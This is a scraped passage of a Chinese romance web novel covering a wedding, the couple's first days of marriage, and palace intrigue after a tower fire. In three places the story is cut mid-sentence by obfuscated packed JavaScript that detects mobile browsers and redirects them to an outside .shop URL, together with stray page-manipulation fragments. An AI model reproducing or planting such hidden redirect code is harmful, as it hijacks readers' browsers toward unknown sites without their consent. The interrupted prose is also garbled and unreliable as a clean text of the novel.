崔时清斜乜了他一眼,嗅了下他衣上的味道,酒味很浅,寒意却很重。 “你在外面待了多久?” “不久。”纪危舟笑着说。 崔时清瞪眼,“不久是多久了?” 纪危舟揉了揉她的长发,移不开目光地望着她,“但凡想着软软在此,与我仅隔着一窗一墙,心中便不再煎熬,几个时辰不过是眨眼间的事。” “行!不煎熬了!人也冻傻了!”崔时清把矮几上的暖炉塞进纪危舟手中,隔着窗棂抱住了他,语气不善地低斥着。 纪危舟闷声笑着,也不反驳。 崔时清敷衍地在他面上连啄了几下,冷声道:“走吧,再不睡,明日骑马接亲,人家都该笑话我嫁了个丑郎君。” “软软等我。”纪危舟握着她的手,依依不舍。 崔时清忍俊不禁,扬起眉眼说:“等你等你,不会跑的。” 好不容易把纪危舟劝走,崔时清倒有些不舍,伏在窗边看了许久,直到手脚发凉,才收起叉竿,放下了窗棂。 她心中有所牵挂,便没有注意到远处大火冲天,把一轮弯月都染得血红。 81. 妖精 第二日,崔时清连眼皮都没睁开,便被柳氏从床上扶了起来。沐浴以后,由五福娘子为其开脸梳头、描眉点唇。 时辰算得刚好。 五福娘子道完最后一声喜庆话,催装吉服正好送来,纪月隐过目颔首,回赠郎婿红衣婚服。 崔时清看着喜婆子捧起红衣玉带,连道了几声好装入箱子里,不由发怔。 还没见过他穿红衣,也不知是个什么模样。 “回来回来。”蔡梦期在她眼前晃悠手掌,召回被勾走的魂。 崔时清眼神茫然地眨巴眼,还没回过神来,便听到闹哄哄的嬉笑声。瞪着笑得最欢的手帕交,在她软肉上掐了一把。 “做什么呢。”成个婚而已,何至于紧逮着她来笑话? “还不是怕你魂也跟着喜婆子走了嘛!”蔡梦期委屈巴巴地捂着腰。 又是一阵哄笑。 就是琢磨一下新郎,有什么可笑啦?!崔时清颇为无语,也只得暗戳戳想,日后定不能错过手帕交的出阁! 纪月隐抚摸着女儿的头发,笑道:“时辰差不多了。” 终于!崔时清默了片刻,点点头。 没有让其他婆子来伺候,纪月隐亲自取来了青绿嫁衣。 上好的云锦缎子丝滑如水,金线绣制四合如意纹,点缀米珠大小的宝石。锦缎甚光泽,裙摆间叠染五瓣福梅,行走间更是流光溢彩、步步生花。 拂过衣袂上的如意纹,崔时清对于纪危舟的用心很是受用,弯唇感慨道:“我可真漂亮。” “扑哧!” 蔡梦期用手肘杵了杵崔琳琅,说:“我肚子都要笑疼了,你呢?” 崔时清淡定地张开双臂,扬起下颌傲声道:“我不漂亮吗?” “……漂亮!你就是仙女下凡!”蔡梦期和崔琳琅抽笑着,连声夸赞。 崔时清不满意道:“仙女算什么?起码也得是上神的阶品。”比小心眼的天老爷更厉害! 不害臊的新嫁娘属实少见,众人稀罕地瞅着艳光四射的女子,连声恭维之后,便又捂唇乐呵着。 “阿娘为你戴冠。”纪月隐笑看着她。 崔时清提着长裙坐下,脑袋微沉,流苏串子垂坠摇曳。她直瞅着以金银丝编成、镶嵌各色珠宝的冠饰,指腹托扶冠饰上的北珠,红唇微弯。 那厮,挺了解她的。 崔时清越发觉得时间过得太慢,眼馋纪危舟的红衣装扮,也盼着让他也瞧瞧世间最貌美的新嫁娘。 “时娘长大了。”看着镜中绾着妇人髻子、配珠冠的女娘,纪月隐红了眼。 崔时清从铜镜里对上母亲的视线,抿了抿唇,客气又有礼地淡笑了一下。 “来了,新姑爷进院子了!” 屋子里顿时忙了起来,喜婆子利索地扶起崔时清,眼神明亮地扫视她的装扮,以免遗漏。 “团扇!” 柳氏捧着木匣子疾步走来,“在这里。” 合欢团扇用五彩丝线绣成双面五福纹,红木嵌螺扇柄下坠着一对拇指大小的玉如意,摇动团扇时玉石珠子发出相撞的清脆声响,雍容间又有几分娇俏。 “小主子和郎婿从此和和美美、称心如意。”柳氏欣慰地祝福道。 看着含着泪、欲哭又想笑的眸子,崔时清伸出双手,在柳氏捧着匣子的指尖上轻轻捏了捏,拿起团扇,执扇掩面由喜婆子搀扶而出。 “真俊俏呀。” 广袖长衣、冠饰琳琅,崔时清手执合欢团扇,听着欢呼戏笑,垂眸看着相依的青绿绯红衣袂,呼吸凌乱。 “我来了。” 耳边响起清缓而缱绻的声音,既轻又慢,每一个字都似有勾子,直把崔时清惹得面红耳热。 真是妖精啊! 崔时清在心底嘀咕着,以隔着团扇,没有抬眸。 “软软。” 纪危舟的眼眸里有满天星辰,直勾勾地盯着面前的女娘,抑制不住冲动,伸出了大掌。 “咳咳!”崔长殷假咳着挤入他们之间,生生隔开那只不安分的手。 纪危舟幽幽地看着以身遮挡,连片衣角都不让他看到的大舅子,正要移步绕到崔时清的另一侧。 “三郎不急。”崔云许占了他觊觎的位置,温和笑道。 “不急!”崔丰年跟在堂兄身边,也扬着小脑袋,强调了一声。 纪危舟:“……” 观礼之人都看到了新郎的小动作,和事败以后的落寞,不由哄笑了起来,揶揄此起彼伏。 他又做什么了? 崔时清腹诽着,指腹捻紧了红木扇柄,偏移团扇半分,余光轻瞥了一眼,恰与一双不安分的眸子相撞。 她禁不住地咽了下口水,连呼吸都有些滞涩。 周围的哄闹声化为轻飘飘的雪花,扬起而落,白茫茫的世间唯有一人撩动人心。 ‘郎艳独绝,世无其二1’,白石郎君又如何?哪里怎比了她的人。 崔时清痴迷地看着他,心底涌起一丝冲动。 ——也想、把他藏起来。 看着被勾了魂的妹妹,再对上同样移不开眼睛的妹婿,崔长殷暗叹了一口气,弯腰背对着崔时清。 “时娘,阿兄背你出阁。” 崔时清没有耽误,连忙立直团扇,趴在了兄长背上,堂兄和幼弟一左一右,紧跟在侧。 与喜婆子跟在后面,纪危舟目不转睛地望着要嫁与他的女娘,心口酸酸涨涨的,连眼眶都止不住蕴起水气。 他们终于、走到了今日。 “兄长送你这一程,望你顺心如意,但不论何时你都是我的妹妹,若是——”崔长殷抽噎着,继续说,“若是纪三郎对你不好,你便告诉、告诉兄长,阿兄为你撑腰。” “阿姐,你也告诉丰年,丰年长大了,也可以背着阿姐归家!”崔丰年眼睛红红的。 “崔氏永远是你的依靠。”崔云许轻声道。 崔时清轻轻拍了下小儿郎的脑袋,也看了眼兄长,笑了笑,眼里是她自己也没有意识到的幸福。 哪怕崔长殷走得慢,这条路总有尽头,小心翼翼放下妹妹,他已泣不成声。 纪月隐和崔其沂并肩而立,久久,也只有说:“去吧,要过得好。” “既安定不负所托。” 纪危舟对着崔氏众人躬身而拜,崔时清垂下眼眸,随之屈膝行礼,和家人道别。 哪怕如何不舍,崔家之人都没有再进一步,立于台阶上望着远去的喜轿,只有祝福和期盼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14403375|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>锣鼓喧天,十里红妆铺成的红绸走了半座城,纪家同辈已在门前等着。 在喜婆子的搀扶下,崔时清下了花轿,指尖的触感让她怔了须臾,眼睛缓慢地眨了一下,注视着扇面,任由一双大掌把红绸牵巾郑重地交与她的手中。 牵着同心结,在所有人的见证下,走入了属于彼此的世界。 撒帐合髻、除花却扇。 在热切的目光下,崔时清放下合欢团扇,见到了‘久违’的郎君,她的眼神也再没有闪躲,从精致的容颜、到挺拔的身量,一点点打量完。 合卺酒的热辣也起了后劲,在身体深处燃起了燥火。 崔时清很想喝口清茶,眼眸扫了一圈,方才还在闹腾的婆子却不知何时已离去。 “她们呢?” 一道轻微的燃烛声响起,看着空荡荡的屋子,和面前美得近乎妖异的纪危舟,崔时清的心乱作一团。 纤长的手指描绘着桃花眼的轮廓,颤动的长睫在指腹上撩起丝丝痒意,纪危舟的心也跟着温痒难耐。 他哑声道:“软软想要什么?” “……我想喝茶。”崔时清不自在地攥着衣袂。 “我喂软软。” 纪危舟托付着她的后颈,端来茶盏递与她的唇边,正好入口的温茶并没有消解崔时清的渴意,反而热得双颊绯红,连眼眶都被逼得泛起了泪花。 “够了够了。”崔时清认了怂,不敢再指使纪危舟近身伺候。 纪危舟放下茶盏,拇指拂过洇湿的红唇,他的呼吸粗重了几分,却还是克制着自己。耐心拆解繁复的冠饰,直到如绸般冰凉滑顺的长发从指尖滑下,他的眼神变得贪婪。 “饿了吗?” 崔时清心慌意乱地点点头,“让婢子们进来伺候我吧,你、你也该出去了!” “你在赶我吗?”纪危舟眉眼微动,眼底的贪欲已被无辜与委屈所取代。 “不是。”没了让崔时清感到胆怯的视线,她浑身都松快了下来,在纪危舟的面颊上啄吻了几下,小声道,“我可不想让人来闹,你还是快些回席吧。” “闹不了!我做事,软软还不放心吗?”纪危舟扬眉说道。 “你做了什么?”崔时清的心没落地,反而揪了起来。 纪危舟眼里含笑,“我派了几十名护卫守在院外,一只苍蝇都进不来。” “……你、你!”崔时清眼前一黑,连脖子都气红了,抓狂道,“你都不嫌丢人吗?” 清澈的黑眸里没有一丝羞耻,反而透着自得。慵懒地靠在崔时清的肩窝上,纪危舟说道:“不丢人,我能娶来软软,谁都得来羡慕我。” 崔时清顿了片刻,还是踢踏着脚尖,催促道:“不管,你赶紧走。” “不走。”纪危舟不为所动,反而搂紧了她,闷声拒绝。 “……”看着在自己身上蹭火的人,崔时清无言以对。 “软软嫌弃我了?”纪危舟仰头瞅着崔时清,黑眸湿湿的。 崔时清咬牙直起身体,扯着玉带,把纪危舟扑在身下,撕着惹眼的红衣,凶狠地瞪着他。 “妖精!让你天天勾引我!” 帐幔落下,影影绰绰间,不时溢出极为压抑的低语与沉吟声,及至烛尽。 82. 迷失 一夜不眠,崔时清昏睡至正午时分。 好在他们在外独居,不必早起敬茶,崔时清也就踏实补眠,直到一阵酥麻直往身体深处研磨,她迷迷糊糊间撑开眼皮,便看到低头忙活的人。 “你还有完没完了!”一脚踹在纪危舟肩上,崔时清愤怒不已。 怒斥声和莹白娇俏的纤足一样的绵软无力,落在身上,甚至牵起了丝丝温痒。 在白皙的肌肤上烙下一个轻吻,纪危舟举起手中的瓷瓶,眨巴着无辜的眼睛。 "我在给软软上药。" “上药、上药至于——”崔时清双颊飞粉,再没眼看他,扯着锦衾往床榻内侧翻了个身,把自己裹得严严实实。 纪危舟好笑地看着浑身戒备的女娘,跟着凑了过去,眼神清澈地说:“怎么走了?还没上好呢。” 崔时清实在是怕了他,把自己藏得更深,直到感到无虞,这才道:“让婢子来。” “不行。”纪危舟笑得温柔,扔下瓷瓶,抱起一团孩子气的女娘子,揉捏着她酸胀的肌骨,轻哄道,“婢子哪有我会伺候你了?” 在温热的大掌下,紧绷的身体也逐渐放松下来,靠在纪危舟的身上,崔时清闭眼假寐。 心道,这么多讨人欢喜的招数,都是从哪里学来的? 身体舒坦了不少,接连被索取而累到恼怒的坏脾气也被抚平,崔时清又稀罕起自己的夫婿来了。 “你平日穿得也太素了些。” “嗯?”纪危舟故作茫然地瞅着她。 “往后在家中,多穿些红衣,我喜欢看。”崔时清勾着他的颈子,亲亲热热地在下颌上亲了一口。 女娘直白的口吻,和略显骄矜蛮横的态度,让纪危舟爱得不行,鼻尖磨蹭着滑软的香腮,喟叹道:“就这般喜欢我?” 崔时清有些羞涩地遮住了纪危舟的眸子,不许他看自己,但依旧没有放弃自己的意图。含住了他的唇瓣,轻轻啃咬一口,看着洇湿微红的嘴唇,色迷心窍地又舔了一下。 “好不好嘛?” 纪危舟忍无可忍,掌着女娘的后脑,把惊呼声吞入口中,舌尖勾缠,索取交换着彼此的涎液。直到咽不下的津水顺着唇角溢出,崔时清再顾不得遮挡眼睛,敲打着他的胸膛,挣扎着。 “唔!你要吃人吗?!” 重获呼吸,崔时清攥着纪危舟的衣襟喘息着,还没缓过神来,便再次被拥入怀中,重重地索吻痴缠着。 似是真要把她的一切都细细嚼碎、吞吃入腹。 不知过了多久,崔时清瘫软在纪危舟的怀中,护身的锦衾已被弃置于脚踏上,连里衣也皱皱巴巴,遮挡不住大片的白皙。 “你到底素了多久!”崔时清没忍住轻骂道。 纪危舟摩挲着如玉般的肩骨,无辜道:“软软素了多久,我亦然。” 崔时清眼神空洞:“……” 她、素了九世啊!九世?居然敌不过这厮?! 不成! 她怎么能输! 崔时清深深吸口气,重新振作,嗷呜一声发起了进攻。 战况惨烈,面对如狼似虎的对手,崔时清再有雄心壮志也不得应对,熬了几息,只得心不甘情不愿地投降。 “日子还长着呢!改日、改日再战!” 纪危舟意犹未尽地吮舐肉乎的耳垂,闷声道:“改日是何时?” “……”崔时清受不了这磨人的妖孽,但也不愿继续认怂,只得轻咳着,故作高深地斜乜着他,“这怎么能说呢?且等着吧,我会杀你个措手不及的!” 眸子灵动又狡黠,纪危舟顿时来了兴致,笑道:“兵者诡道也,软软也要提防我的突击。” 崔时清不搭腔,装聋作哑地移开了视线,半点讨论兵法的气力也无。 纪危舟见她这副模样,爱得不行,连亲了几口,没有继续索要。以长衣袍子裹住崔时清,抱着入了浴房。 再出来时,饭桌上摆好茶饭,崔时清饥肠辘辘,吃什么都香,纪危舟瞅着她,也跟着多用了一碗饭。 婚后第一餐,俩人都吃多了。 歪在暖榻上,一人捧着一碗消食的酸梅汤,崔时清斜睨着迟迟不肯用的人,暗暗窃笑着。 “怎么不喝了?”崔时清刻意问。 纪危舟不习惯这味道,便商量道:“我可以不喝吗?” “可以呀。”崔时清看着微亮的眸子,慢声道,“要酸、就酸我一人好了,你不用陪我,没有关系的。” “……”这还能说什么呢? 纪危舟沉了口气,果决地灌下整碗汤水,酸气直冲天灵盖,惹得眉头都皱了起来。 “怎么样?”崔时清随手往他嘴里塞了颗栆糖,扬眉笑问。 纪危舟如实道:“难喝。” “啊!既如此!” 崔时清探头看了眼,没瞧见奶娘的身影,便迅速转身,把酸梅汤倒在窗外,动作之熟练,看得纪危舟有些发怔。 “……软软不尝尝味道吗?”纪危舟幽幽问道。 她还要尝吗?崔时清腹诽。 柳氏对于酸梅汤有一种近乎执念的追捧,但凡见她用多了茶饭,总是要亲自熬煮一盅汤水,哄得她服用。从小到大,崔时清可没少吃这碗酸汤的苦头,自然而然也练就了一身阳奉阴违的本事。 瞅着浑身冒着酸气的郎君,崔时清窃笑一声,仰头在他唇上亲了一口,弯眸笑道:“尝好了!” 纪危舟顿时便被哄好了,酸楚咽下肚子,把崔时清揽进怀中,不紧不慢地替她揉腹消食。 “这样如何?” 崔时清认可地轻哼了两声,眼睛扫过屋里的陈设,看到东侧空荡荡的墙上,只挂了一幅藤蔓缠枝红梅图,从笔触来看,出自纪危舟之手。 “这是什么时候画的?”崔时清觉得密密缠绕在梅枝上的绿藤有些怪异,便问。 “有些时候了。”纪危舟凝视着画中的红梅藤蔓,又道,“软软喜欢红梅,我便作依附你而生的藤蔓,你我相依不离。” 崔时清眨了下眼睛,仰望着纪危舟的眼睛,见他眼神专注,黑眸清澈又纯粹地倒影出自己的模样,莫名有些羞涩。 “要不要出门赏花灯?”崔时清装作忙碌地坐起身来,垂眸问道。 纪危舟笑了笑,握着她的双手,低声道:“这几日有宵禁,灯会也停了。” “哦、宵禁?!”崔时清错愕地抬起头,“怎么突然颁布了宵禁令?” 纪危舟不想提及此事,但也不能不说,只得含糊道:"前夜,金临台走火了。" “什么?!”崔时清不敢置信地瞪圆了眼睛,而后沉声道,“都烧没了?” “嗯,是。陛下似乎觉得这场火有古怪,所以下诏宵禁。”纪危舟语气淡淡。 崔时清很想再与纪危舟探听内情,动了动唇,却没有开口。 宫里再起大火,也不知他有无触动。 “出不了门,我们便在园子里赏玩。”崔时清挽着他的手臂,依恋地蹭了下,说道,“我库里有几箱子江南的彩灯,好看得很呢。” 贴在臂上的面颊软绵绵的,连带着他的心,也软成一滩。 纪危舟轻抚崔时清的乌发,语气里也透着些许期待,“这个主意好,我让总管安排。” “嗯哼。”崔时清靠着不想动,眼皮也撑不住地耷拉着,嘟哝道,“困了,你陪我歇一会儿。” “好,陪着软软。” 纪危舟不轻不重地轻拍着她的脊背,听着愈发轻缓的呼吸声,眼底像是沁了春水一般沉静而温柔。 * 睡醒时,日头已斜移,崔时清面朝窗棂,任由没有温度的阳光落在面上。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14411184|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过了片刻,她的指尖拂过临窗摆放的菖蒲盆子,在底下找到了小纸条。 【离虚失踪】 自从知道离虚的丹药有问题,崔时清便派人暗中探查他的行踪。但从死士的密信来看,显然已有人发现,这才设法甩开了他们。 金临台是离虚一手督造的问仙楼,眼下楼子没了,他也紧跟着失踪,恐怕是与这场火脱不了干系的。 崔时清轻叩着窗棂,陷入沉思。 上一世,金临台是在贤文帝诞辰之前便毁于火中。 当时她没有特别在意,只在其他人口中听说金临台的奢靡,有些遗憾没有亲自登上这座可与天相连的高楼,便没有再放在心上。 但这一次,或许是因为越发深入皇家的秘辛,她心中不安得很,总感觉会有大事发生。 崔时清在菖蒲盆栽上做了个暗记,把纸条扔进暖炉中。 有脚步声传来,崔时清敛下眉间的郁色,落下窗户,懒洋洋地靠在凭几上瞅着来人。 “还累吗?”纪危舟端着茶点,走了进来。 “不——”崔时清刚要应声,眉眼微动着,生生改了口,“累!太累了!” 纪危舟闷声笑了几声,捻起刚出锅的茯苓糕,递到她的嘴边。 “……”被投喂了一块,崔时清摇头道,“园子布置好了?” “嗯,差不多了,你私藏的彩灯很漂亮。”纪危舟又哄着让她吃几口热乎的糖蒸酥酪。 “这是自然。”崔时清扬着下颌,眸子晶亮地咽下口中的酪乳,“我还有一只会滚动的彩灯,今晚让你开开眼界!” 纪危舟手也不停,一边喂食,一边惊叹道:“如此厉害吗?不如让人把夕食送到园子里?” “……怎么、又要吃夕食了?”崔时清面色愁苦地抿着嘴,拒绝唇边的银勺。 纪危舟温声道:“要是不饿,我们也可以小酌两杯,用些酒菜即可。” “啊,唔、也可——”崔时清又吃了几勺酪乳,玩兴上头,也顾不上计较纪危舟的小动作,扒拉着他的手臂,说道,“庄子送了果子酒,温在暖盅里喝着正好,让阿姆找出来。” “想要什么下酒菜?”纪危舟落下银勺。 “你看着安排吧,我是吃不下多少。”崔时清捧着肚子,无力道,“再这么吃下去,没几天我都要胖成球了。” 纪危舟弯唇笑道:“不怕,胖不了的。” 崔时清狐疑地看着他,却抑制不住心中的好奇,便问:“为何?” “晚些时候,再与你解释。”纪危舟捏了捏她的手。 崔时清斜乜着他,心里道了声古怪,忍了片刻,又倾身凑了过去,“说说呀,到底为什么?莫非你还捏着什么纤体的方子啦?” “软软现在便要知道?”纪危舟意味深长地看着她。 崔时清生生从他的眼中瞅出了几分危险,在好奇和危险之间摇摆不定,有些懊恼地鼓起双颊。 “怎么还生了气?”纪危舟刚要掐一把她的面颊,就被气性颇大的女娘躲开了,他失笑了须臾,只得附耳说了一句。 话音刚落,莹白的耳廓被温热的气息烫得通红,连面颊和颈子也随之红了一片。 纪危舟戳了戳气鼓鼓的面颊,无辜道:“我都说了,怎么还生气?” “不正经的玩意。”崔时清磨了磨牙,骂了一声,扭着身子不再理睬他。 “软——” “闭嘴,再说,就把你的嘴巴缝上。” “软软来吧。”纪危舟在她唇上啄了一口,作出老实状。 崔时清瞅着微红的唇瓣,咽了下口水,叫骂道:“狐狸精。” “你——” 再听不了一个字的崔时清,只得仰起头,封住了他的声音。 微凉的唇瓣,很柔软,只一瞬便让人迷失其中。 83. 传闻 离虚还是没有消息。 坊间却有人借着金临台的大火,煽动起骇人的传言。 【金临台是拜仙祈福的楼子,如今坍塌,是陛下失德,招来了天怒啊!】 【怪不得近几年天灾不断,还有不少叛军起势。】 【你知道吗?楼子塌了以后,露出了一块天石,上面还有一句谶言呢!】 【真龙出世假龙藏,盛世太平唯三郎。】 【三郎是何人?】 【石上还有一个生辰八字。】 【我知道,那是当年皇太孙的八字!】 【皇太孙不是死在了东宫大火中,哪里还在世上?】 【天示所言,必定假不了!皇太孙兴许是借着这三郎之名,在民间长大,只等着有朝一日重归天家呢!】 …… 在这些传闻之下,金临台大火以燎原之势,没有平息的迹象,反而愈演愈烈。 甚至在府里,也有人私下议论,崔时清偶然听到这些流言,当即便发了怒,让总管处置了几个嚼舌根的,却依旧不能平复心中的情绪。 人人都有猎奇之心,甚至连她都忍不住揣度那块所谓的天石,又怎么能堵住这些声音呢? 她应该在意的是这些传闻的源头,他们、她,想利用皇太孙作什么。 但是似乎一张令人窒息的网子,困住了他们,一点点在收紧。崔时清满心愤懑与不安,根本无法冷静。 心烦意乱之时,崔时清收到了大掌柜崔竹求见的通传。即便崔时清没有心情查账拨算盘,还是让人把崔竹请到堂屋来见。 大掌柜衣裳簇新,端着账本匣子看似春风得意,但走近以后却掩不住眼底的青色与瞳仁上的血丝。 “何事?”崔时清面色凝重。 崔竹抹了把面,双手奉起木匣子跪拜在地,说道:“主子,留在勉州的掌柜遭到伏击,只、只逃出一人。” “谁干的!” 崔时清问完,心中立即浮现一双含笑的眸子。 她面色沉郁地站起身,看着匣子里被血水浸透的书信和账册,打开最上面的信件,是几句模糊不清的邀约。 “五日前,京都和我们接触的人送了这封信,不曾想他们是要杀人灭口。吴掌柜察觉不对,把近来的账册和书信都藏在小厮身上,护他逃走,自己却、死于贼人刀下。”崔竹伏趴在地,泣声道。 五日前,是金临台失火那一日。 崔时清扣着掌心的宣纸,眼中聚着彻骨的寒意。 这接连的动作,狠戾又果决,是不准备再与他们半分安生。 “可有留下痕迹?”崔时清问。 “并未,连、连他们的尸首也被处理了……”崔竹老泪纵横,还是无法接受共事多年的伙计们就此惨死,尸骨无存。 深吸了几口气,崔时清坐回太师椅上,思绪混乱地攥着掌心,过了许久才问:“小厮伤势如何?” 崔竹压下泣声,惋惜道:“性命无虞,但伤势过重,怕是再也做不得重活。” “那便学着写字算账,昌隆兴总有他的容身之处。”崔时清垂眸看着匣子里的血色。 “主子、勉州——” “我知道,暂缓勉州茶行的生意。”崔时清出言打断他,看着大掌柜的眼睛,咬牙克制着,“通知昌隆兴所有掌柜,近来小心处事,不要引人注意。那小厮、也不可露面。” “是。”思及茶行的买卖,崔竹觉得颇为可惜,但小主子发了话,他也只有领命。他想,过几日,再走一趟勉州,兴许还可以挽回损失。 崔时清揉了下鼓胀发疼的脑袋,“吴掌柜家中还有什么人?” “还有妻女二人。”崔竹叹声道。 “安置好他们的家眷,一切支出皆从我私账里走。”崔时清说完,看到大掌柜欲言又止,便问,“他们想求什么?” 对于手下之人,只要忠心可用,崔时清向来是不吝啬钱财俗物的。崔竹跟在她身边这些年,也知道支取私账,意味着一笔足以令生者衣食无忧的钱财。 但在这个世道,要有钱财傍身,更需要拥有守住这些立世之本的能力。 崔竹躬身开口:“吴家娘子失了顶梁柱,没有儿郎可以支撑门户,宗族兄弟又是不好相与的,故而想求主子庇护她们母女二人。” 崔时清又问:“她可愿改嫁?” “此事我亦请人问过,吴家娘子不愿。” 崔时清扫了一眼染血的账册书信,抿唇思忖了片刻,说道:“她既想要自立,便允她入崔氏女学得一技傍身,日后要留要走皆从她的意愿。” “主子想得周到。”眉间的愁色顿时散去,崔竹深深拜了一礼。 “我写封信与叔父,其他的你来安排。”崔时清走到侧间书案前,提笔写了封信交与崔竹,问,“吴掌柜分管什么生意?” 崔竹连忙说道:“他管的是粮铺生意。” 崔时清记得四处在闹饥荒,便攒眉看着大掌柜,“近来粮价如何?” “比之秋收那会儿,又涨了三成,朝廷若是再不压下粮价,怕是要乱。”崔竹压低声音说道。 崔时清轻叩着桌案,“派人在丰产的州县收粮,确保各地粮铺正常经营。” “是,主子放心,昌隆兴的粮仓满满当当的,必然不会断了铺子的生意。”提及生意,崔竹有了些精气神,眼珠子转了转,又道,“奇货可居、物抬高价,我们是否也要暂且减少铺子的供应,提高售价?” 在一切皆从利益的世代,这个提议没什么不对,反而是极佳的选择。 但崔时清的眼前却闪过了一个瘦削的身板,她站起身来,望着西北的方向,摇了摇头。 “我不缺这点钱。”她说完,又觉得这个理由不够,便又道,“当真饿殍遍地,昌隆兴也做不得长久买卖。” 昌隆兴挣得不都是富户权贵的钱袋子吗?饿殍与他们有什么关系?崔竹心有困惑,却没有出声反驳。 “粮铺正常供应,还有药材,灾年过后必有疫情,你在这两处多费心。”崔时清说完,回头看着自己的大掌柜,“桑麻近来如何?” 崔竹笑道:“桑麻是个聪敏的女娘,近来和青云阁的温掌柜来往得多,倒是长进了不少。” 即便心里有些不舒坦,崔竹还是说了一筐子的好话。 他知道桑麻和温掌柜来往是小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14429240|140692||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主子默许的,为的不外乎是给奶娘的女儿搭桥铺路,小婢子而已,左右影响不了他大掌柜的地位,自然不用让小主子不快,以为他容不得人。 “既然长进了,便让她暂代粮铺掌柜之位。”崔时清扫了一眼面色平静,并不觉得意外的大掌柜,又道,“你要多盯着点,如有疏漏,及时报与我,不可为了往日同在府里的情分而偏袒她。” “是,主子放心。”崔竹心里松快了不少。 崔时清看着崔竹,提醒道:“你是大掌柜,哪怕勉州还有些生意未了,也不宜亲去冒险。” 被揭穿心思的崔竹有些尴尬,正要解释,崔时清抬手制止了他,“玉松跟你也有一段时日了,若他做得了,便让他去。” 这是同意提拔玉松?! 崔竹直愣愣地瞅着小主子,一时不知该说什么好。 养子是差事办砸了,被撵出去的,能够全须全尾回到他身边,他们都不敢再想其他。 眼下,却因桑麻那小丫头,重新得了前程? “主子、他……” “你是大掌柜。”崔时清点到为止,也不欲多说其他,“无事便下去吧。” 崔竹明白了,他是大掌柜,可以得来这些体面。 恭恭敬敬地叩首退下,堂屋骤然静谧无声。 崔时清倦怠地靠在椅背上,轻叩着扶手,眼底沉郁浓浓。 孟云希要做什么? 对付贵妃母子的,除了当今皇后,她想不到还有何人。 要对贵妃母子下手,为何、要把纪危舟扯进来?! 派人通知赵洛行? 崔时清望着那些染血的证据。 不行、不能再轻举妄动。 “来人!”崔时清扬声道。 守在堂屋外的管事和婢子听到动静,立即入内。 “你们家郎君呢?”崔时清问道。 外院管事连忙躬身答道:“郎君和魏博士相约,估摸着也得下晌归来。” 魏客史,正八品太常博士,和纪危舟是旧时同窗。原本并无私交,前些时候听说纪危舟的不务正业,居然特意登门骂了他一顿。 纪危舟面上诚恳认错,却死性不改,逼得魏博士不得不主动拉扯着同窗到国子监里研究经学古籍,时时督促纪危舟不可懒怠,每日三省其身、卷不离手。 徒然多了一人,使纪危舟不得空闲。 崔时清本有些不快,跟着同去国子监的书馆里蹲了半日,累得她腰酸腿疼、脑仁发疼,便转而同情起被魏博士缠住的纪危舟,再不拈酸吃醋,随他们二人上进去。 但眼下崔时清心里正烦忧着,顾不得招惹魏博士的后果,便指使管事去寻人。 “去把郎君唤回来。” “娘子可要写封手书?”管事见识过魏博士登门训斥家主的气势,面露苦色地瞅着主母。 崔时清噎了一下,怒气冲冲地瞪着管事,“你且跟他说,再不着家,以后便不许出门了!” 管事亲自打马前去,来到国子监,把原话道出,顿时便戳中了魏博士的软肋。也不等纪危舟说什么,往他怀中堆了一摞书,约好次日相见,便痛快放他归家。 84. 羡慕 女娘特意派人来找,催他归家。 纪危舟捧着书,一面想着莫非这就是有家室的好处,一面在同窗‘羡慕’的注视下,喜滋滋地赶回家。 本以为回到家里,会看到崔时清或气他不着家、或欣慰他及时而归,没曾想到见到的却是愁容满面地蜷在软榻上,不知在想什么的女娘。 纪危舟心疼不已,急忙凑了过去,把她拥入怀中。 “是我不好。” “?”双手撑在纪危舟的胸膛上,崔时清懵怔地仰着脑袋瞅他。 纪危舟看着女娘清澈的眸子,心里更是软得不行,怜爱地亲吻着崔时清的面颊,温声哄着。 “你我新婚,本不该留你一人在家。明日软软随我同去吧,等校好剩余的半卷孤本,我们便寻个借口离开,到城郊赏梅。” “……不要、不去!”崔时清回过神来,想也不想便拒绝。 什么玩笑?她再也不要踏入国子监一步了! 纪危舟眨了下眼睛,打量着崔时清的面色,想找出几分口是心非。 清凌凌的眼睛里,一眼望到底的是诚恳,他不由沉默了片刻,而后又有一丝忐忑。 连出城赏梅也不愿,他家女娘不是想他,才派人来寻的?! 纪危舟的喉结涩然滚动了一下,呼吸也不自觉地放缓了些许,凝神静气地看着崔时清。 “为何不去?” “明知故问。”崔时清没好气地说。 文弱书生的小身板,骂不过也打不得,她可不要再忍着饥寒在国子监里看一日古籍了! “……”既然女娘说他知道,就不能扫了她的兴致,说不知。 